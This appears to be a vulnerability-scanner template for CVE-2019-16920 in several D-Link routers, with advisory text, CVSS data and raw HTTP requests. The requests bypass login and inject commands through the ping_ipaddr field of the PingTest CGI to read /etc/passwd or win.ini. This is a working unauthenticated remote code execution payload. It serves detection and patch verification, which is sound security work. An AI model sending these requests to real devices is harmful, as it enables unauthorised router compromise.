D-Link products such as DIR-655C, DIR-866L, DIR-652, and DHP-1565 contain an unauthenticated remote code execution vulnerability. The issue occurs when the attacker sends an arbitrary input to a "PingTest" device common gateway interface that could lead to common injection. An attacker who successfully triggers the command injection could achieve full system compromise. Later, it was independently found that these issues also affected; DIR-855L, DAP-1533, DIR-862L, DIR-615, DIR-835, and DIR-825.
PoC
id: CVE-2019-16920
info:
name: D-Link Routers - Remote Code Execution
author: dwisiswant0
severity: critical
description: D-Link products such as DIR-655C, DIR-866L, DIR-652, and DHP-1565 contain an unauthenticated remote code execution vulnerability. The issue occurs when the attacker sends an arbitrary input to a "PingTest" device common gateway interface that could lead to common injection. An attacker who successfully triggers the command injection could achieve full system compromise. Later, it was independently found that these issues also affected; DIR-855L, DAP-1533, DIR-862L, DIR-615, DIR-835, and DIR-825.
impact: |
Successful exploitation of this vulnerability allows an attacker to execute arbitrary code on the affected router, potentially leading to complete compromise of the device and the network it is connected to.
remediation: |
Apply the latest firmware update provided by D-Link to mitigate this vulnerability.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2019-16920
- https://github.com/pwnhacker0x18/CVE-2019-16920-MassPwn3r
- https://fortiguard.com/zeroday/FG-VD-19-117
- https://www.seebug.org/vuldb/ssvid-98079
- https://medium.com/@80vul/determine-the-device-model-affected-by-cve-2019-16920-by-zoomeye-bf6fec7f9bb3
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2019-16920
cwe-id: CWE-78
epss-score: 0.99996
epss-percentile: 0.99988
cpe: cpe:2.3:o:dlink:dir-655_firmware:*:*:*:*:*:*:*:*
metadata:
max-request: 3
vendor: dlink
product: dir-655_firmware
tags: cve2019,cve,dlink,rce,router,unauth,kev,vkev,vuln
http:
- raw:
- |
POST /apply_sec.cgi HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Referer: {{BaseURL}}
html_response_page=login_pic.asp&login_name=YWRtaW4%3D&log_pass=&action=do_graph_auth&login_n=admin&tmp_log_pass=&graph_code=&session_id=62384
- |
POST /apply_sec.cgi HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Referer: {{BaseURL}}/login_pic.asp
Cookie: uid=1234123
html_response_page=login_pic.asp&action=ping_test&ping_ipaddr=127.0.0.1%0a{{url_encode('cat /etc/passwd')}}
- |
POST /apply_sec.cgi HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Referer: {{BaseURL}}/login_pic.asp
Cookie: uid=1234123
html_response_page=login_pic.asp&action=ping_test&ping_ipaddr=127.0.0.1%0a{{url_encode('type C:\\Windows\\win.ini')}}
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- "\\[(font|extension|file)s\\]"
condition: or
- type: status
status:
- 200
# digest: 4a0a0047304502210082f65424042fe26e311701fe307fdd0214ede3f5bc0cdb0cbd322b384efbda5b022065cbb17230e044c96dde072d0c1f4012a19b1a4183dc0a748fa253c9b6ff6d8f:922c64590222798bb761d5b6d8e72950
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